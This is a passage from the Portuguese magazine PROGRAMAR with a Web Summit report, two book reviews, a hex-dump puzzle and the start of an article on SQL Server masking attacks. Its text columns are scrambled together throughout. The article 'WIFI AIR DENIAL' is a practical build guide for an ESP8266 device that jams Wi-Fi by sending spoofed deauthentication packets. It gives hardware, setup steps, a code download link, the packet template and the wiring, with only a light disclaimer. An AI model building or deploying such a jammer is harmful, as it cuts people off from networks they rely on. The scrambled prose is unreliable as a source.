dedicar um espacinho ao Web Summit deste ano. aprenderam algo na sua caminhada pelo Web summit.
Para os leitores que no esto to familiarizados com o Uma outra coisa de que gostmos bastante, foi o fac-
mundo da tecnologia, queremos relembrar que a Web Summit to de que toda a cidade foi envolvida no espirito Web
uma das maiores conferncias mundiais de tecnologia. Summit.
A primeira vez que este evento teve lugar foi em 2009 Vrios smbolos Web Summit foram colocados em
em Dublin (onde se realizaram nos ltimos 5 anos) e rapida- pontos-chave da cidade, o que permitiu mais notoriedade
mente se tornou um dos maiores eventos do gnero, uma vez conferncia. Nas redes sociais vrias foram as pessoas que
que dos acontecimentos anuais mais aguardados. A Web partilharam fotos com os smbolos em fundo. Durante o dia
Summit foi fundada por Paddy Cosgrave, David Kelly e Daire
Hickey.
Em Setembro de 2015 Paddy Cosgrave, co-fundador e
CEO da Web Summit, anunciou que o evento seria realizado
pela primeira vez em Lisboa em 2016. Foi a primeira vez que o
evento no teve lugar em Dublin sendo que foi anunciado que
seria em Lisboa durante 3 anos, ou seja, quem perdeu a edi-
o deste ano, pode comear a pensar j em marcar presena
edio de 2017 e 2018.
Mas voltemos edio de 2016

as actividades tiveram lugar no Parque das Naes, mas


noite muitos foram os locais que se envolveram nessa inicia-
tiva.
Mas para quem gosta de nmero deixamos aqui al-
guns dos nmeros oficiais. Participaram mais de 53.056 pes-
soas, provenientes de 166 pases.
A estes participantes juntaram-se ainda mais cerca de
19 mil jovens com bilhetes de baixo custo.
42% dos participantes eram do sexo feminino, o que
significa que felizmente, cada vez mais mulheres marcam
O evento ocorreu em Lisboa, no Meo Arena, entre os presena no mundo tecnolgico. Como nem s de negcios
dias 7 a 10 de Novembro. Como no podia deixar de ser, a se faz a Web Summit, nas conferncias, participaram cerca
Programar este presente e, de facto, gostaramos de salientar de 677 oradores que partilharam as suas experincias.
o companheirismo e sentido de inovao que se respirava no
A organizao informou ainda que foram mais de 1
ar. Os mais cpticos podem dizer que era apenas o Meo Arena
milho de sesses Wi-Fi e 1,835 milhes de mensagens
cheio de bancas de multinacionais e startups a querer vender o
enviadas na aplicao que serviu de guia de orientao aos
seu produto e as suas ideias.
participantes.
Claro que foram feitos os mais variados negcios, foram
Acima de tudo, o Web Summit, abriu horizontes e
firmadas parcerias, o habitual neste gnero de encontros. Mas
impulsionou Lisboa/Portugal aos olhos do mundo.
acima de tudo, respirou-se tecnologia, partilharam-se experin-
cias. Travaram-se novos conhecimentos.

AUTOR
Escrito por Rita Peres

Natural de Castelo Branco, licenciou-se em Engenharia Informtica pela Universidade da Beira Interior.
Membro do P@P desde Janeiro de 2010. Embaixadora das Geek Girls Portugal Ncleo de Lisboa.

57
Media Partners da Revista PROGRAMAR

Anlises
Desenvolvimento gil de Software Guia Prtico, 1 edio.
HTML 5 4a Edio Atualizada e Aumentada
Review

Desenvolvimento gil de Software Guia Prtico, 1 edio


Ttulo: Desenvolvimento gil de Software senvolvimento e a aceitao e reordenao de requisitos em


Guia Prtico, 1 edio, maio 2016, qualquer ponto do processo, ou a mudana de paradigma
FCA. para um foco no tempo e oramento, produzindo as features
mais importante para o cliente dentro dessas restries, ao
Autores: Tiago Palhoto invs de um foco nos requisitos, os quais mudam constante-
Editora: FCA - Editora de Informtica mente, tornando impossvel cumprir tempo e oramento fi-
xos. Porm, na cauda desses benefcios vieram tambm
Pginas: 256 muitos problemas, nomeadamente a deficiente produo de
ISBN: 978-972-722-824-9 documentao, til no apoio posterior manuteno do soft-
ware; a dependncia dos melhores profissionais, que so
Introduo tambm os que mais facilmente mudam de emprego, por
Motivados pela elevada taxa de insucesso de projetos oposio a uma dependncia de um processo bem definido,
de desenvolvimento de software, h cerca de cinquenta entre outros.
anos, engenheiros e desenvolvedores de software, aperce-
beram-se da necessidade de definir e seguir um processo de
desenvolvimento. Depois desse processo inicial (waterfall)
muitos outros se seguiram, melhorando os processos anteri-
() este um
ores em diversos aspetos e, com isso, melhorando a qualida-
de do produto de software produzido. Ainda assim, a taxa de
bom livro para gesto-
insucesso continuava elevada. O virar do sculo trouxe-nos
os princpios de desenvolvimento gil, e com eles um foco no res de projeto que pre-
cliente, e uma exigncia do seu envolvimento na equipa, a
um ponto que este no estava acostumado a suportar. Este tendem implementar
envolvimento do cliente, e a entrega frequente a este de
software funcional para obter o seu feedback, trouxe muitas
melhorias ao nvel do alinhamento do produto final de soft-
metodologias geis na
ware com os requisitos do cliente e utilizadores, no final do
projeto (no necessariamente os requisitos no incio do pro-
gesto dos seus proje-
jeto!).
tos, e para membros
de equipa ou develo-
() h cerca de pers que trabalhem em
cinquenta anos, enge- ambiente de projeto
nheiros e desenvolve- usando metodologias
dores de software, geis.
aperceberam-se da ne-
cessidade de definir e Este livro aborda todos estes problemas e, talvez pela
experincia e certificao do autor na implementao do
seguir um processo de processo de desenvolvimento RUP considerado como um
modelo de processo hbrido tradicional/gil, pois baseia-se
desenvolvimento. num processo bem definido, mas adota uma prxis alinhada
com os princpios de desenvolvimento gil, nomeadamente a
sua natureza iterativa e incremental , apresenta diversas
prticas de desenvolvimento gil de software num enquadra-
As metodologias de desenvolvimento gil trouxeram mento de processo baseado em trs fases principais: Con-
muitos benefcios, como a flexibilidade do processo de de- cepo, Construo e Transio.

60
Review
DESENVOLVIMENTO GIL DE SOFTWARE GUIA PRTICO, 1 EDIO.
Aps um captulo zero inicial, onde feita uma viso jeto, apesar de esquecida por muitas das metodologias geis
geral da engenharia de software e da sua saga na busca de mais mainstream. Artefactos produzidos nesta fase, e expli-
processos com sucesso, o livro est organizado em cinco cados neste captulo, incluem um documento de viso do
captulos. negcio e documento de enquadramento do mbito do pro-
jeto. A abordagem guiada por casos de uso, sendo estes a
unidade para estimao de esforo, em pontos relativos ou
em horas. Outros aspetos, como estimao de custos, anli-
() processo de se de riscos e oportunidades e qualidade do produto, so
tambm tratados neste captulo.

desenvolvimento RUP O captulo 3 apresenta a fase de Construo, onde de


forma iterativa e incremental desenvolvido o produto de
considerado como software. Aspetos como planeamento de iteraes, com se-
leo de casos de uso a implementar em cada iterao, for-
um modelo de proces- ma como devem ser detalhados os casos de uso, integrao
contnua de cdigo, definio de casos de teste, aspetos de

so hbrido tradicional/ gesto de alteraes ao mbito, e reunies dirias de ponto


de situao, so alguns dos assuntos tratados neste captu-
lo.
gil, pois baseia-se O captulo 4 aborda a fase da transio, tratando de

num processo bem de- assuntos como o manual de Release e o deployment do


software em ambiente de produo. Este captulo fala ainda
das atividades de suporte e manuteno do software, que
finido, mas adota uma estendem o ciclo de vida deste para l do final do projeto de
desenvolvimento, e do importante subprocesso de Lessons
prxis alinhada com os Learned, onde a equipa de desenvolvimento partilha e docu-
menta solues de problemas recorrentes, repetveis em
princpios de desenvol- projetos futuros.
O ltimo captulo apresenta medidas teis para preve-
vimento gil () nir o fracasso dos projetos.
Em concluso, este um bom livro para gestores de
projeto que pretendem implementar metodologias geis na
gesto dos seus projetos, e para membros de equipa ou
developers que trabalhem em ambiente de projeto usando
O captulo 1 apresenta a metodologia gil seguida no
metodologias geis. Trata-se ainda de uma obra capaz de
livro, baseada no RUP e em algumas prticas de outros m-
suportar uma unidade curricular de Gesto gil de Projetos,
todos geis, no escarnecendo boas prticas do PMBoK.
ao nvel de curso superior.
Os trs captulos seguintes apresentam as fases de
Concepo, Construo e Transio como fase integrante do
projeto de desenvolvimento. O segundo captulo foca ativida-
des da fase de Concepo, a qual apresentada fazendo
uso de alguma formalidade. So apresentados alguns dos
artefactos que, segundo o autor, devem ser produzidos nes-
ta fase, os quais constituem documentao til para o pro-

AUTOR
Escrito por Antnio Miguel Rosado da Cruz

Professor Adjunto no Instituto Politcnico de Viana do Castelo, onde leciona desde 2005, e membro do Software Engineering
and Management Group do Centro de Investigao ALGORITMI Universidade do Minho. Concluiu o Programa Doutoral em
Engenharia Informtica pela Universidade do Porto em 2011. Tem certificao PMP Project Management Professional do
PMI desde 2014. Publicou diversos trabalhos em actas de conferncias cientficas e jornais cientficos internacionais, e possui
3 captulos de livros publicados. Participa e coordena projetos de prestao de servios a empresas. Participou em 9 eventos
cientficos internacionais. Tem orientado projetos e dissertaes de mestrado nas reas de Engenharia Informtica, Cincias
da Computao e Sistemas e Tecnologias de Informao. Nas suas atividades profissionais interagiu com diversos colabora-
dores em co-autorias de trabalhos cientficos. Os seus interesses de investigao centram-se na Engenharia de Software,
Model-driven Development, Transformao de Modelos, software modeling, code generation, user interface modeling, Mto-
dos Formais, Cloud computing e Metamodelos.

61
Review

HTML 5 4a Edio Atualizada e Aumentada


Ttulo: HTML 5 4 Edio Atualizada e Acredito que os primeiros captulos possam ser um
Aumentada pouco aborrecidos para quem j tem alguma prtica neste
assunto, mas no deixa de ser uma boa oportunidade para
Autores: Lus Abreu
recordar conhecimentos e at mesmo aprender algo que
Editora: FCA - Editora de Informtica possa ter escapado anteriormente.

Pginas: 368 Os assuntos mais interessantes comeam claramente


no captulo trs em que o autor nos leva por uma viagem
ISBN: 978-972-722-821-8 pelo canvas (o elemento responsvel pela renderizao di-
Nesta edio, trazemos at vs, caros leitores, a re- nmica de grficos), seguidamente pelo SVG (Scalable Vec-
view do livro HTML5 de Luis Abreu. Trata-se da 4 edio tor Graphics para os mais distrados).
atualizada e aumentada. O vdeo e o udio so os senhores que se seguem no
Dirigido a todos os programadores, estudantes e pro- captulo cinco. At aqui tudo bem, sendo que o livro l-se
fissionais da informtica, este livro acessvel a todos os fluidamente, tal como j referi, quem conhece a linguagem
entusiastas que queiram aprender e/ou aprofundar conheci- recorda os conceitos e os mais inexperientes consolidam
mentos acerca do novo HTML5. Tal como o autor nos tem conhecimentos.
vindo a habituar, este livro tem uma linguagem simples, clara
e acessvel, sendo fcil seguir os exemplos que nos vo
sendo propostos ao longo desta edio.
Com uma organizao muito bem conseguida e prti- () apresenta-nos
ca, este livro est dividido em 14 captulos, sendo que a difi-
culdade dos assuntos abordados vai aumentando ao longo esta temtica de uma
do livro.
Para os menos experientes, logo no primeiro captulo, forma bastante clara,
existe uma abordagem introdutria ao HTML5, que apresen-
ta a histria desta linguagem, passando desde a estrutura sempre com exemplos,
duma pgina de HTML at sua rvore DOM (Document
Object Model). Sem esquecer a utilizao de scripts e a utili-
zao de CSS. Ou seja, os estreantes nestas andanas,
o que torna o livro nu-
podem adquirir o livro e seguir os exemplos sem dificuldades
maiores.
ma til ferramenta de
consulta, para quem o
Como no podia usar apenas como refe-
deixar de ser, so refe- rncia ()
renciados os web soc-
kets, sendo que o cap- Sendo esta uma review de opinio, permitam-me di-
zer-vos que o livro me prendeu a partir do captulo seis. Este
tulo 12 inteiramente captulo fala-nos acerca de um assunto bastante atual, a
geolocalizao. So analisadas as principais funcionalidades

dedicado a esta temti- associadas a esta API, assim como exemplos passo a passo
de como obter da melhor forma a localizao do utilizador de

ca. uma aplicao web. O captulo sete, por sua vez, traz-nos a
web storage, uma das novidades do HTML5. Mais uma vez,
o autor, apresenta-nos esta temtica de uma forma bastante
clara, sempre com exemplos, o que torna o livro numa til
ferramenta de consulta, para quem o usar apenas como refe-
rncia. (Sim, o livro permite que se utilize apenas como refe-
rncia, lendo s os captulos das temticas que mais vos

62
Review
HTLM 5 4A EDIO ATUALIZADA E AUMENTADA
interessem). So tambm abordados temas como a File API o de tarefas em paralelo. A meu ver, uma das funcionali-
e a Indexed Db. dades mais apetecidas nesta linguagem.

() este livro () fala-nos acer-


acessvel a todos os ca de um assunto bas-
entusiastas que quei- tante atual, a geolocali-
ram aprender e/ou zao. So analisadas
aprofundar conheci- as principais funciona-
mentos acerca do lidades associadas a
novo HTLM5. esta API, assim como
exemplos passo a pas-
No oitavo e nono captulos, so abordados os formu-
lrios web e a microdata. Para mim este mais um ponto
so de como obter da
forte do livro. Sendo a microdata um mecanismo que permite
a extensibilidade do HTML, neste captulo so apresentadas melhor forma a locali-
algumas solues concretas para melhoria da semntica dos
elementos, para que os contedos apresentados sejam mais zao do utilizador de
rigorosos.
As aplicaes offline tambm no ficaram esqueci- uma aplicao web.
das, e isso mesmo que o autor nos apresenta no dcimo
captulo. So apresentados ao leitor, vrios cenrios, para
que quem se apoia neste livro como objecto de consulta
para um projecto, possa de facto ter algum apoio nesta situa-
o. O livro termina com o captulo 14, em que nos so
apresentados alguns projectos reais. De destacar o projecto
Nos ltimos captulos do livro, como no podia deixar
NOVNC que evidencia a utilizao de web sockets e o pro-
de ser a temtica da comunicao no foi esquecida, sendo
jecto GOOGLE PACMAN, um jogo bastante conhecido.
que apresentada a comunicao entre eventos servidor,
baseada num modelo push, onde a informao enviada do Uma vez que o HTML5 veio de facto para ficar, e por
servidor para o cliente. tudo o que vos assinalei em epgrafe, julgo que este seja um
livro que valha a pena ter na estante, seja o leitor principian-
Gostaria ainda de chamar a ateno para os ltimos
te ou experiente. Boa leitura!
captulos deste livro, onde so desmitificados alguns dos
pontos fortes do HTML5. Como no podia deixar de ser, so
referenciados os web sockets, sendo que o captulo 12
inteiramente dedicado a esta temtica. Por seu lado o capitu-
lo 13 dedicado aos web workers, que introduzem a execu-

AUTOR
Escrito por Rita Peres

Natural de Castelo Branco, licenciou-se em Engenharia Informtica pela Universidade da Beira Interior.
Membro do P@P desde Janeiro de 2010. Embaixadora das Geek Girls Portugal Ncleo de Lisboa.

63
Segurana
WIFI AIR DENIAL
"30 30 37 - For Your Eyes Only"
NSA Secrets - Hacking SQL Server - Dynamic Data (UN)Masking
Segurana

WIFI AIR DENIAL


Nesta edio caro leitor, trazemos at vs um artigo


se tentem ligar.
acerca de uma exploit, a WIFI AIR DENIAL.
Ou seja, recapitulando cada vez que o controlador
Esta exploit foi conhecida pela primeira vez em 2011.
1 do nosso device encontra um pedido de ligao ao router
De uma forma simples, esta exploit consiste em fazer que
informa o controlador 2 do device. Esta comunicao feita
quando um dispositivo envia um pacote de autenticao a um
utilizando UART. O controlador 2, apenas recebe as identi-
access point/router, antes do mesmo responder ao pedido do
ficaes do controlador 1 e transmite imediatamente os
dispositivo - o nosso device responda dizendo que no aceita
pacotes deauthenticate. O dispositivo que se est a tentar
a autenticao impedindo-o de utilizar o wifi.
ligar antes de receber o pedido de autenticao recebe o
Para os leitores que possam no estar to familiariza- pacote deauthenticate e desliga-se. Na prtica, o dispositi-
dos com a temtica de redes, numa ligao WIFI, o nosso dis- vo ainda mal se identificou na rede e recebe logo o pacote
positivo, (independentemente de este ser um computador, o que lhe ordena que se desconecte da mesma.
tablet ou o telemvel) pede ao router ou access point o acesso Educadamente, o dispositivo desliga-se, no chegando a
rede enviando um Authentication Request. O router responde receber o pacote de pedido de autenticao do verdadeiro
ao dispositivo com um pedido de autenticao enviando um router.
Authentication Response. O dispositivo envia um Association
Cada mdulo nodeMCU tem um controlador WIFI
Request ao router e o router responde com um Association
individual e esto programadas para funcionar em modo
Response. Na situao ideal, seguir-se-ia a transmisso de
promiscuo.
dados, at que o dispositivo enviasse um pedido de Deauthen-
tication para terminar a ligao ou at que o router por sua O modo promiscuo, um modo em que o controla-
iniciativa envie o pedido de deauthentication. Neste caso antes dor do interface de rede, neste caso a rede wifi 802.11 WNIC
que se inicie a transmisso de dados o nosso dispositivo (Wireless Network Interface Card), passa todo o trafgo que
malvolo, ir enviar um pedido Deauthentication idntico ao recebe para a unidade de processamento central (neste ca-
que seria enviado pelo router, impedido a ligao, e a autenti- so o microcontrolador), em vez de passar apenas as frames
cao. Este pedido enviado logo mal o dispositivo envia o que se destinam a ele. Este modo normalmente usado
pedido de autenticao, impedindo assim sequer a validao para packet sniffing e ocorre principalmente nos routers ou
da senha de acesso. em computadores ligados a HUBs de rede em vez de
Switches, ou em interfaces que integram uma WLAN. Esta
tarefa normalmente feita recorrendo a software desenhado
para o efeito.
Normalmente numa rede os NIC/WNIC quando rece-
bem uma frame que no se destina a eles, fazem drop da
mesma a menos que esta seja endereada ao seu MAC
Address ou seja uma frame de broadcast ou multicast. Em
modo promiscuo um NIC/WNIC recebe todas as frames, e
passa-as para o processador/microcontrolador permitindo
que as mesmas sejam lidas pelo software, independente-
mente de se destinarem a ele ou a outros dispositivos da
At aqui tudo bem ento como funciona isto de negar rede.
o sinal de WIFI de uma rede?
Chegamos ento a outra questo importante
Primeiro precisamos de um pequeno device que Como que o nosso device sabe que rede bloquear?
constitudo por dois mdulos ESP8266, alguns jumper-wires pergunta o leitor No sabe!
(dupont jumpers) e um powerbank.
O dispositivo pesquisa todas as redes acessveis no
Na prtica quando um dispositivo pede ao router para espao fsico onde esto mas nunca se liga a nenhuma, mas
utilizar a rede, o pedido encaminhado via WIFI, o que per- sim, imita-nas todas.
mite ao nosso device saber que existe um pedido a ser envia-
Por outras palavras, o device verifica todas as redes
do ao router. Isto porque o nosso device est constantemente
existentes a que tem acesso fisicamente, no precisando de
a procurar pedidos de acesso em modo busca. Como o nosso
se autenticar nas redes das quais pretende imitar o funciona-
device consiste em dois microcontroladores separados, isto ,
mento.
dois nodeMCU ligados um ao outro, um dos controladores pes-
quisa as tentativas de ligao e comunica as identificaes dos Aps verificar as redes ao seu alcance, carrega as
dispositivos que se tentam ligar ao segundo controlador. Assim informaes num array em memria e imita-as, com inter-
o device tem tempo para encontrar todos os dispositivos que valos de tempo bastante reduzidos.

65
Segurana

WIFI AIR DENIAL


No inicio deste artigo, referimos que pequeno device 7. Comear a utilizao.
que constitudo por dois mdulos ESP8266, alguns jumper-
wires (dupont jumpers) e um powerbank Chegou ento a
altura de colocarmos a mo na massa e passarmos ac- Passo 1 - Instalar o Arduino IDE
o
Aceder pgina oficial do Arduino atravs de https://
Nas imagens 1 e 2 esto representados os componen- www.arduino.cc/en/Main/Software, data da escrita deste
tes que utilizmos. artigo, a verso em uso era a de Arduino 1.6.13.

Ilustrao 1 - Jumper-wires

Ilustrao 3 - Download Arduino IDE


Aps a instalao, falta configurarmos o IDE para os
componentes que iremos utilizar.
Passo 2 - Adicionar o modelo ESP8266 s boards do
Arduino IDE e adicionar o repositrio/libraries de ES-
P8266

Para este passo, preferi ilustrar com as imagens se-


guintes por achar que uma imagem vale por mil palavras
Ora vamos l ento ao abrir o Arduino IDE, ir a
Ficheiro Preferncias conforme mostra a imagem 4.

Ilustrao 2 - Mdulos ESP8266


Para que tudo funcione correctamente, precisamos rea-
lizar os seguintes passos:
1. Instalar o Arduino IDE
2. Adicionar o modelo ESP8266 s boards do Arduino IDE
e adicionar o repositrio/libraries de ESP8266
3. Seleccionar no Arduino IDE a placa ESP8266 Generic
4. Seleccionar a porta COM (Srie) correcta, com o Baud Ilustrao 4 - Adicionar o modulo ESP8266 ao Arduino IDE
Rate de 115200BPS
5. Verificar, compilar e fazer o upload do cdigo para o
device, utilizando o board manager do IDE
6. Terminar a montagem do nosso device

66
Segurana

WIFI AIR DENIAL


Seguidamente vamos adicionar o package que pode ser No menu seguinte, devemos procurar por ESP, sendo
obtido atravs do link: que o software vai mostrar a opo esp8266 by ESP8266
Community (ver imagem 7).
https://arduino.esp8266.com/stable/
package_esp8266com_index.json
Este link deve ser colocado na textbox URL Adicionais
do Gestor de Placas como aparece na imagem 5.

Ilustrao 7 - Adicionar o modulo ESP8266 ao Arduino IDE


Devemos ento seleccionar essa opo (para este
artigo foi instalada a verso 1.6.5-947-g39819f0 conforme
mostra a imagem 8) e clicamos em Instalar.

Ilustrao 5 - Adicionar o modulo ESP8266 ao Arduino IDE


Aps este passo devemos ir a Ferramentas -> Placa
Arduino/Genuino Uno -> Gestor de Placas como exemplifi-
ca a imagem 6.

Ilustrao 8 - Adicionar o modulo ESP8266 ao Arduino IDE


Se tivermos colocado correctamente o link nas prefe-
rncias (relativo imagem 5 deste artigo), o Arduino IDE vai
efectuar o download do pacote conforme ilustrado na ima-
gem 9.

Ilustrao 6 - Adicionar o modulo ESP8266 ao Arduino IDE Ilustrao 9 - Adicionar o modulo ESP8266 ao Arduino IDE

67
Segurana

WIFI AIR DENIAL


Se tudo correr como esperado, cada vez que formos a
Ferramentas -> Placa Arduino/Genuino Uno -> Gestor de
Placas, vai aparecer este pacote como INSTALLED confor-
me mostra a imagem 10.

Ilustrao 12 - Instalar drivers ESP8266

Ilustrao 10 - Adicionar o modulo ESP8266 ao Arduino IDE


Desta forma, quando o leitor for a Ferramentas -> Placa
Arduino/Genuino Uno -> Gestor de Placas, vai j aparecer
a informao acerca do mdulo que acabamos de instalar con-
forme assinalado na imagem 11. Ilustrao 13 - Instalar drivers ESP8266
Passo 3 Selecionar no Arduino IDE a placa ESP8266
Generic
A imagem 14 mostra qual a placa que devemos esco-
lher para este projecto. Este um passo importante pois
qualquer erro na seleco da placa, pode levar a que o pro-
jecto no funcione.
Isto porque, o carregamento do software para a EE-
PROM da placa usa endereos de memria EEPROM para
especficos para escrita, nomeadamente os destinados
"memria de programa". Caso a escolha da placa no seja a
acertada, o Arduino IDE escrever o "programa" noutra regi-
o da memria, o que poder inutilizar por exemplo o firmwa-
re que realiza a comunicao por USB.
Gostaramos de chamar ateno desde ponto uma
vez que isto algo comum em descuido, o que obriga utili-
zao de outros cabos, para se reprogramar o firmware do
controlador USB.

Ilustrao 11 - Adicionar o modulo ESP8266 ao Arduino IDE

NOTA: Nalgumas verses do sistema operativo do Win-


dows pode ser necessrio instalar os drivers de reconhecimen-
to dos mdulos ESP8266, para isso basta instalar os drivers
correspondentes, disponveis em: https://meocloud.pt/
link/95011f2f-f9bb-4bcc-9112-d744003f8417/CH341SER.rar/ ,
executar em modo administrador e instalar como exemplificado
nas imagens seguintes. Ilustrao 14 - Escolha da Placa ESP8266

68
Segurana

WIFI AIR DENIAL


Passo 4 Seleccionar a porta COM (srie) correcta com o tivo se tenta ligar a uma rede 802.11 (WIFI), esse dispositivo
Baud Rate de 115200BPS tem que seguir uma sequncia especfica de passos, entre
eles a autenticao que efectuada em duas etapas. Primei-
Neste passo escolhemos a porta COM onde ligmos o
ro o pedido e segundo uma autenticao vlida. Para isto
modulo ESP8266, para que se possa flashar correctamente o
acontecer ambos os dispositivos comunicam a sua identifica-
cdigo no nodeMCU ver imagem 15.
o um ao outro, isto , o dispositivo cliente ao router e vice-
versa, sendo que essa identificao inclui os respectivos
MAC e BSS Beacon, alm do nmero de sequncia do paco-
te e o payload (dados).
Esta exploit, o que faz criar um pacote, com um
payload de deauthenticate, em que usa o MAC do device, o
MAC do router, o BSS do router e o nmero sequncia do
pacote correcto, obtido pela intercepo da tentativa de
comunicao entre o dispositivo e o router. Como os bits de
deauthenticate so standard, usa-se um modelo de pacote
que contenha os mesmos bits e substitui apenas os bits cor-
respondentes, ou seja, o endereo MAC de origem, o ende-
reo MAC de destino, o BSS beacon e a seq_number
(sequncia numrica).
Das duas placas ESP8266 que vamos utilizar para
concretizar a nossa exploit, uma ser a placa receptora e
outra a placa atacante. Os cdigos a flashar nas placas so
praticamente os mesmos, apenas mudam no sincronismo.
A partir do momento em que cada placa tenha o res-
pectivo cdigo carregado, o mesmo fica carregado na ROM
dos controladores.
Ilustrao 15 - Escolha da Porta COM (Srie)
Chamamos a ateno de que nunca deve alterar a
Passo 5 - Verificar, compilar e fazer o upload do cdigo
configurao do fuse (fusvel de read only), caso contrrio o
para o device, utilizando o board manager do IDE
que estiver gravado na ROM ser impossvel de alterar (sim,
Finda toda a instalao do Arduino IDE e respectivas este fusvel dentro do circuito possvel de queimar por
nuances, passemos ento parte mais interessante. O cdi- software).
go utilizado para este artigo, assim como as bibliotecas utiliza-
Passo 6 - Terminar a montagem do nosso device
das podem ser obtidos atravs do link https://meocloud.pt/
link/042f380b-0a80-4534-892b-1ced961947db/CodigoArtigo- Depois do cdigo carregado na ROM das ESP8266,
WifiAirDenial.rar/. precisamos de 2 jumper-wires.
Como j falado anteriormente, o device faz packet craf- Devemos ligar cada um dos fios da seguinte forma:
ting, disfarando-se de acess point/router legtimo. O packet
deauthenticate () faz com que o equipamento abandone a ten- TX0 da placa 1 ao RX1 da placa 2
tativa de ligao.
TX1 da placa 2 ao RX0 da placa 1
Chamo vossa ateno para o pedao de cdigo:

// DeAuth template
uint8_t template_da[26] = { 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x70, 0x6a, 0x01, 0x00 };

neste pequeno pedao de cdigo em que a exploit


efectua o massivo do seu objectivo, porque o packet feito
pela combinao de vrios bits, que formam um packet vlido.
A funo uint16_t create_packet(uint8_t *buf, uint8_t *c,
uint8_t *ap, uint16_t seq) retorna um valor com o tamanho do
packet, combinando o template com o cumprimento do ende-
reo MAC de destino, com o endereo MAC de origem, o BSS
beacon e o nmero de sequncia.
Mais uma vez recordo ao leitor que, quando um disposi-
Ilustrao 16 - Especificao ESP8266

69
Segurana

WIFI AIR DENIAL


Como mostra a figura anterior, o TX a transmisso e o
RX a recepo. O protocolo utilizado o standard UART
(Universal Assyncronous Transmiter and Receiver). Este o
protocolo mais usado para comunicaes em hardware.

Nota: Primeiramente devemos ligar ao powerbank a pla-


ca controlador 1 e depois a placa controlador 2, pois o pri-
meiro a iniciar que define o RTC, Real Time Clock, ou seja,
ser o relgio mestre , o segundo, far sempre a sincroni-
zao pelo primeiro.

Um outro ponto que gostaria de transmitir ao leitor


que a nossa exploit consegue que os dispositivos no se
liguem rede wifi no caso de novas ligaes, contudo, caso
de um dispositivo j estar autenticado numa rede, a exploit
Ilustrao 17 - Ligao do device
no faz com que o dispositivo se desligue.
Passo 7 - Comear a utilizao
Mais uma vez, aqui na PROGRAMAR, salientamos
Feito todo este trabalho, vamos passar parte mais que este apenas um artigo exemplificativo, de caracter
simples deste processo. necessrio apenas o powerbank cintifico. Apesar do cdigo ser open-source, recomendamos
com duas entradas USB e vamos ento ligar os mdulos ES- o uso consciente do exemplo aqui explicado.
P8266.

AUTOR
Escrito por Rita Peres

Natural de Castelo Branco, licenciou-se em Engenharia Informtica pela Universidade da Beira Interior.
Membro do P@P desde Janeiro de 2010. Embaixadora das Geek Girls Portugal Ncleo de Lisboa.

70
Segurana

"30 30 37 - For Your Eyes Only"


52 61 72 21 1A 07 00 CF 90 73 00 00 0D 00 00 00 00 CE E7 08 C3 E3 D5 52 01 40 F9 9B CE 97 41 3A 80
00 00 00 E2 31 7A 00 80 23 00 4C 00 00 00 58 00 00 D8 22 BB 82 7B 2C 3A 30 95 6E 24 13 8E 4A AC 81
00 02 C5 15 EF F0 FD 09 96 49 1D 33 03 00 01 00 00 D8 A0 C8 75 05 B5 17 44 E5 E7 AE C9 D2 55 07 97
00 43 4D 54 09 15 14 CF DD 00 CF D4 A2 A0 18 E9 97 76 CF 1C AB 85 47 C0 8D A8 0B D6 58 6E 0B 52 90
41 27 C0 6D 83 06 2E 37 02 91 51 68 12 85 45 F5 FA 72 A3 CF E8 E3 1B CC FA 26 96 6D 10 FC 9C 83 ED
3F 60 DD 37 7D B5 56 45 91 E1 94 6E C7 43 0E 0F 11 4E 5D 7E 9A 2E 5A 27 6A 2D A8 A8 A8 B5 2E 87 AF
FB 1A 40 8A D2 DB A9 6B 89 1E 9A 24 F9 4C 60 87 F3 A1 A7 2F E0 2F F8 4B 02 8B 77 C5 B4 97 F8 31 30
71 EA 3E 27 76 3B 2D CF E1 EA AA A8 0C 89 74 20 90 AB 77 4F 40 D9 FF AA AC 5E 6B DC 6B 0F 69 2A C5
40 00 4D 01 00 00 DE 05 00 00 02 D3 19 66 BE D5 09 82 8D 97 74 AD F4 CA 94 79 37 B2 47 5A 27 BB 38
96 49 1D 35 0D 00 20 00 00 00 54 6F 70 53 65 63 72 1F 66 4B 8C BC 93 72 A1 AB 0C 60 CB AF 23 CC 2B
65 74 2E 54 58 54 F0 BF 98 1C 64 9C 09 96 49 8F B8 C7 96 08 4E 99 F3 48 3A 72 B0 21 AB 09 74 5C 46
89 9C 09 96 49 8F B8 89 0D 41 0C 8D 53 D5 01 13 8D 73 EC 4D 68 F9 D1 04 5A DB E4 2E 69 93 7E 89 8E
5E F9 08 0D DC D9 F9 09 3B FF 24 B5 66 0B D1 7A 46 D3 3C 93 D9 71 94 BC E7 5A 2A B0 4B E4 32 D2 67
58 D8 E2 25 AF FD 2F F0 01 30 1E 0A 75 4C 38 E5 3C D3 4B 38 55 18 9E D3 E9 AE 89 37 79 8F E6 78 0F
34 C0 78 04 AB CC 54 C7 C1 F8 E7 E1 99 6D B5 34 A3 7E 4B 3D 5E DE 17 1E 94 FF 25 91 7F 29 5F 48 C4
2E CA 10 33 FB 16 42 84 1B E9 09 E3 5A 6E E2 9D B1 3D 7B 00 40 07 00 00 00 00 00 00 00 00 00 00 00
32 2F C6 90 64 07 4E 93 24 EA 2D 38 AC CE 09 D1 AA

AUTOR
Escrito por Andr Melancia

Independent Developer/DBA/Consultant. Microsoft Certified Trainer (MCT) focusing on SQL Server, Azu-
re and IoT. 17+ years' fun developing information and multimedia systems, DBA, project and IT manage-
ment. PowerShell Portugal, IT Pro Portugal and IoT Portugal communities organiser. IPv6 Portugal, DNS-
Sec Portugal and Windows Development Portugal online communities moderator. Actively volunteering,
organising, speaking or just participating at community meetings and events like SQLSaturdays, SQLBits,
SQLRelay, Maker Faire Lisbon, Arduino/Genuino Day Lisbon, Global Azure Bootcamp Lisbon, etc.

Proud uncle and food devouring expert, with dangerous ussy cat as companion.

Go to http://Andy.PT and you'll know the same as the NSA...

71
Segurana

NSA Secrets - Hacking SQL Server - Dynamic Data (UN)Masking


Qualquer sistema informtico pode ser atacado. inevi- tes esto atribuidos a cada misso. Os agentes da NSA infil-
tvel, nada 100% seguro. Por vezes no depende dos pro- traram-se no MI6 disfarados de colaboradores e pretendem
gramadores. O sistema pode ser totalmente robusto e um ser descobrir quem so os agentes de cada misso.
humano, para "facilitar", cria acidentalmente buracos de segu-
Depois de criar uma base de dados vazia
rana.
